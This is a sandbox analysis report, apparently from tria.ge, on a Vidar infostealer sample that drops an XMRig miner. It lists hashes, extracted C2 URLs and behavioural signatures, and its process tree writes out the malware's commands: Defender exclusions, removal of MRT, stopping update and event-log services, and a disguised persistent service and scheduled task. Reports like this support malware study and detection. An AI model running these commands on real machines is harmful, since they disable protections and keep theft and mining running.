Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
13/10/2024, 17:48
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe
Resource
win10v2004-20241007-en
General
-
Target
SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe
-
Size
9.1MB
-
MD5
de40920ceb6061d4a5b62fd03a9438c5
-
SHA1
eb3d3f46aad57e868b9d4b2c07d24410bfd2ca85
-
SHA256
959e47ec654acce16b8df4466da97f8479d65b9a69a2c3603c3cb6856ceaecc0
-
SHA512
fa0ea73440e794092045fdada16fb702ae7e5962a09d2fa62d7873a1c211c9b55037cb34c15477cdaf6052a0d7443ce413cebe35e4785032718666246af712f6
-
SSDEEP
49152:kT2J6mHyA+c9OoSgI/QDBmdnR1ell3R4NqU8nq9LBWJYu5blvGRCnQoxYLaHFsjh:nI2yA+c9OUrDyymevvWSoxGd8IM7N
Malware Config
Extracted
vidar
11.1
467d1313a0fbcd97b65a6f1d261c288f
https://steamcommunity.com/profiles/76561199786602107
https://t.me/lpnjoke
-
user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
Signatures
-
Detect Vidar Stealer 18 IoCs
resource yara_rule behavioral2/memory/2600-5-0x0000000000600000-0x0000000000876000-memory.dmp family_vidar_v7 behavioral2/memory/2600-7-0x0000000000600000-0x0000000000876000-memory.dmp family_vidar_v7 behavioral2/memory/2600-10-0x0000000000600000-0x0000000000876000-memory.dmp family_vidar_v7 behavioral2/memory/2600-1-0x0000000000600000-0x0000000000876000-memory.dmp family_vidar_v7 behavioral2/memory/2600-15-0x0000000000600000-0x0000000000876000-memory.dmp family_vidar_v7 behavioral2/memory/2600-16-0x0000000000600000-0x0000000000876000-memory.dmp family_vidar_v7 behavioral2/memory/2600-25-0x0000000000600000-0x0000000000876000-memory.dmp family_vidar_v7 behavioral2/memory/2600-26-0x0000000000600000-0x0000000000876000-memory.dmp family_vidar_v7 behavioral2/memory/2600-34-0x0000000000600000-0x0000000000876000-memory.dmp family_vidar_v7 behavioral2/memory/2600-35-0x0000000000600000-0x0000000000876000-memory.dmp family_vidar_v7 behavioral2/memory/2600-51-0x0000000000600000-0x0000000000876000-memory.dmp family_vidar_v7 behavioral2/memory/2600-52-0x0000000000600000-0x0000000000876000-memory.dmp family_vidar_v7 behavioral2/memory/2600-74-0x0000000000600000-0x0000000000876000-memory.dmp family_vidar_v7 behavioral2/memory/2600-75-0x0000000000600000-0x0000000000876000-memory.dmp family_vidar_v7 behavioral2/memory/2600-82-0x0000000000600000-0x0000000000876000-memory.dmp family_vidar_v7 behavioral2/memory/2600-86-0x0000000000600000-0x0000000000876000-memory.dmp family_vidar_v7 behavioral2/memory/2600-87-0x0000000000600000-0x0000000000876000-memory.dmp family_vidar_v7 behavioral2/memory/2600-144-0x0000000000600000-0x0000000000876000-memory.dmp family_vidar_v7 -
XMRig Miner payload 9 IoCs
resource yara_rule behavioral2/memory/3748-198-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/3748-197-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/3748-204-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/3748-202-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/3748-203-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/3748-201-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/3748-200-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/3748-205-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral2/memory/3748-206-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 4388 powershell.exe 3228 powershell.exe -
Creates new service(s) 2 TTPs
-
Downloads MZ/PE file
-
Drops file in Drivers directory 2 IoCs
description ioc Process File created C:\Windows\system32\drivers\etc\hosts HIIIIEGHDG.exe File created C:\Windows\system32\drivers\etc\hosts Updater.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation GIDAECGDAF.exe Key value queried \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation service.exe -
Executes dropped EXE 4 IoCs
pid Process 4440 HIIIIEGHDG.exe 2884 GIDAECGDAF.exe 1196 Updater.exe 1276 service.exe -
Loads dropped DLL 2 IoCs
pid Process 2600 BitLockerToGo.exe 2600 BitLockerToGo.exe -
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
flow ioc 44 bitbucket.org 45 bitbucket.org 80 pastebin.com 81 pastebin.com -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 1832 powercfg.exe 2536 powercfg.exe 3948 powercfg.exe 3864 powercfg.exe 1124 powercfg.exe 2468 powercfg.exe 5000 powercfg.exe 712 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\MRT.exe HIIIIEGHDG.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\MRT.exe Updater.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1168 set thread context of 2600 1168 SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe 86 PID 1196 set thread context of 5016 1196 Updater.exe 154 PID 1196 set thread context of 3748 1196 Updater.exe 156 -
resource yara_rule behavioral2/memory/3748-195-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/3748-196-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/3748-198-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/3748-197-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/3748-204-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/3748-202-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/3748-203-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/3748-201-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/3748-200-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/3748-194-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/3748-192-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/3748-193-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/3748-205-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral2/memory/3748-206-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2408 sc.exe 5020 sc.exe 2452 sc.exe 3688 sc.exe 1276 sc.exe 548 sc.exe 3244 sc.exe 3224 sc.exe 1232 sc.exe 4216 sc.exe 4548 sc.exe 4984 sc.exe 3488 sc.exe 4532 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 10 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language timeout.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language BitLockerToGo.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GIDAECGDAF.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language service.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 BitLockerToGo.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString BitLockerToGo.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 4528 timeout.exe -
Modifies data under HKEY_USERS 50 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs explorer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs explorer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT explorer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates explorer.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3284 schtasks.exe 712 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2600 BitLockerToGo.exe 2600 BitLockerToGo.exe 2600 BitLockerToGo.exe 2600 BitLockerToGo.exe 2600 BitLockerToGo.exe 2600 BitLockerToGo.exe 2884 GIDAECGDAF.exe 2884 GIDAECGDAF.exe 2600 BitLockerToGo.exe 2600 BitLockerToGo.exe 4440 HIIIIEGHDG.exe 4388 powershell.exe 4388 powershell.exe 4440 HIIIIEGHDG.exe 4440 HIIIIEGHDG.exe 4440 HIIIIEGHDG.exe 4440 HIIIIEGHDG.exe 4440 HIIIIEGHDG.exe 4440 HIIIIEGHDG.exe 4440 HIIIIEGHDG.exe 4440 HIIIIEGHDG.exe 4440 HIIIIEGHDG.exe 4440 HIIIIEGHDG.exe 4440 HIIIIEGHDG.exe 4440 HIIIIEGHDG.exe 4440 HIIIIEGHDG.exe 4440 HIIIIEGHDG.exe 1196 Updater.exe 3228 powershell.exe 3228 powershell.exe 1196 Updater.exe 1196 Updater.exe 1196 Updater.exe 1196 Updater.exe 1196 Updater.exe 1196 Updater.exe 1196 Updater.exe 1196 Updater.exe 1196 Updater.exe 1196 Updater.exe 1196 Updater.exe 1196 Updater.exe 3748 explorer.exe 3748 explorer.exe 3748 explorer.exe 3748 explorer.exe 3748 explorer.exe 3748 explorer.exe 3748 explorer.exe 3748 explorer.exe 3748 explorer.exe 3748 explorer.exe 3748 explorer.exe 3748 explorer.exe 3748 explorer.exe 3748 explorer.exe 3748 explorer.exe 3748 explorer.exe 3748 explorer.exe 3748 explorer.exe 3748 explorer.exe 3748 explorer.exe 3748 explorer.exe 3748 explorer.exe -
Suspicious use of AdjustPrivilegeToken 19 IoCs
description pid Process Token: SeDebugPrivilege 4388 powershell.exe Token: SeShutdownPrivilege 5000 powercfg.exe Token: SeCreatePagefilePrivilege 5000 powercfg.exe Token: SeShutdownPrivilege 2468 powercfg.exe Token: SeCreatePagefilePrivilege 2468 powercfg.exe Token: SeShutdownPrivilege 1832 powercfg.exe Token: SeCreatePagefilePrivilege 1832 powercfg.exe Token: SeShutdownPrivilege 712 powercfg.exe Token: SeCreatePagefilePrivilege 712 powercfg.exe Token: SeDebugPrivilege 3228 powershell.exe Token: SeShutdownPrivilege 1124 powercfg.exe Token: SeCreatePagefilePrivilege 1124 powercfg.exe Token: SeShutdownPrivilege 3864 powercfg.exe Token: SeCreatePagefilePrivilege 3864 powercfg.exe Token: SeShutdownPrivilege 2536 powercfg.exe Token: SeCreatePagefilePrivilege 2536 powercfg.exe Token: SeShutdownPrivilege 3948 powercfg.exe Token: SeCreatePagefilePrivilege 3948 powercfg.exe Token: SeLockMemoryPrivilege 3748 explorer.exe -
Suspicious use of WriteProcessMemory 51 IoCs
description pid Process procid_target PID 1168 wrote to memory of 2600 1168 SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe 86 PID 1168 wrote to memory of 2600 1168 SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe 86 PID 1168 wrote to memory of 2600 1168 SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe 86 PID 1168 wrote to memory of 2600 1168 SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe 86 PID 1168 wrote to memory of 2600 1168 SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe 86 PID 1168 wrote to memory of 2600 1168 SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe 86 PID 1168 wrote to memory of 2600 1168 SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe 86 PID 1168 wrote to memory of 2600 1168 SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe 86 PID 1168 wrote to memory of 2600 1168 SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe 86 PID 1168 wrote to memory of 2600 1168 SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe 86 PID 2600 wrote to memory of 4440 2600 BitLockerToGo.exe 90 PID 2600 wrote to memory of 4440 2600 BitLockerToGo.exe 90 PID 2600 wrote to memory of 2884 2600 BitLockerToGo.exe 95 PID 2600 wrote to memory of 2884 2600 BitLockerToGo.exe 95 PID 2600 wrote to memory of 2884 2600 BitLockerToGo.exe 95 PID 2884 wrote to memory of 2428 2884 GIDAECGDAF.exe 96 PID 2884 wrote to memory of 2428 2884 GIDAECGDAF.exe 96 PID 2884 wrote to memory of 2428 2884 GIDAECGDAF.exe 96 PID 2428 wrote to memory of 3284 2428 cmd.exe 98 PID 2428 wrote to memory of 3284 2428 cmd.exe 98 PID 2428 wrote to memory of 3284 2428 cmd.exe 98 PID 2600 wrote to memory of 1060 2600 BitLockerToGo.exe 101 PID 2600 wrote to memory of 1060 2600 BitLockerToGo.exe 101 PID 2600 wrote to memory of 1060 2600 BitLockerToGo.exe 101 PID 1060 wrote to memory of 4528 1060 cmd.exe 103 PID 1060 wrote to memory of 4528 1060 cmd.exe 103 PID 1060 wrote to memory of 4528 1060 cmd.exe 103 PID 3560 wrote to memory of 3248 3560 cmd.exe 110 PID 3560 wrote to memory of 3248 3560 cmd.exe 110 PID 3468 wrote to memory of 3324 3468 cmd.exe 143 PID 3468 wrote to memory of 3324 3468 cmd.exe 143 PID 1196 wrote to memory of 5016 1196 Updater.exe 154 PID 1196 wrote to memory of 5016 1196 Updater.exe 154 PID 1196 wrote to memory of 5016 1196 Updater.exe 154 PID 1196 wrote to memory of 5016 1196 Updater.exe 154 PID 1196 wrote to memory of 5016 1196 Updater.exe 154 PID 1196 wrote to memory of 5016 1196 Updater.exe 154 PID 1196 wrote to memory of 5016 1196 Updater.exe 154 PID 1196 wrote to memory of 5016 1196 Updater.exe 154 PID 1196 wrote to memory of 5016 1196 Updater.exe 154 PID 1196 wrote to memory of 3748 1196 Updater.exe 156 PID 1196 wrote to memory of 3748 1196 Updater.exe 156 PID 1196 wrote to memory of 3748 1196 Updater.exe 156 PID 1196 wrote to memory of 3748 1196 Updater.exe 156 PID 1196 wrote to memory of 3748 1196 Updater.exe 156 PID 1276 wrote to memory of 3464 1276 service.exe 162 PID 1276 wrote to memory of 3464 1276 service.exe 162 PID 1276 wrote to memory of 3464 1276 service.exe 162 PID 3464 wrote to memory of 712 3464 cmd.exe 164 PID 3464 wrote to memory of 712 3464 cmd.exe 164 PID 3464 wrote to memory of 712 3464 cmd.exe 164
Processes
-
C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.GenericKD.74258817.17122.7170.exe"1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1168 -
C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2600 -
C:\ProgramData\HIIIIEGHDG.exe"C:\ProgramData\HIIIIEGHDG.exe"3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:4440 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4388
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵
- Suspicious use of WriteProcessMemory
PID:3560 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart5⤵PID:3248
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc4⤵
- Launches sc.exe
PID:1232
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc4⤵
- Launches sc.exe
PID:4216
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv4⤵
- Launches sc.exe
PID:2408
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits4⤵
- Launches sc.exe
PID:3488
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc4⤵
- Launches sc.exe
PID:4532
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 04⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2468
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 04⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:5000
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 04⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1832
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 04⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:712
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineK"4⤵
- Launches sc.exe
PID:1276
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineK" binpath= "C:\ProgramData\GoogleUP\Chrome\Updater.exe" start= "auto"4⤵
- Launches sc.exe
PID:4548
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog4⤵
- Launches sc.exe
PID:548
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineK"4⤵
- Launches sc.exe
PID:3244
-
-
-
C:\ProgramData\GIDAECGDAF.exe"C:\ProgramData\GIDAECGDAF.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2884 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /create /tn MyApp /tr %APPDATA%\service.exe /st 00:00 /du 9999:59 /sc daily /ri 1 /f4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2428 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn MyApp /tr C:\Users\Admin\AppData\Roaming\service.exe /st 00:00 /du 9999:59 /sc daily /ri 1 /f5⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:3284
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\CBGCGDBKEGHI" & exit3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1060 -
C:\Windows\SysWOW64\timeout.exetimeout /t 104⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:4528
-
-
-
-
C:\ProgramData\GoogleUP\Chrome\Updater.exeC:\ProgramData\GoogleUP\Chrome\Updater.exe1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1196 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3228
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:3468 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:3324
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:3224
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:4984
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:5020
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2452
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:3688
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2536
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3948
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3864
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1124
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:5016
-
-
C:\Windows\explorer.exeexplorer.exe2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3748
-
-
C:\Users\Admin\AppData\Roaming\service.exeC:\Users\Admin\AppData\Roaming\service.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1276 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /create /tn MyApp /tr %APPDATA%\service.exe /st 00:00 /du 9999:59 /sc daily /ri 1 /f2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3464 -
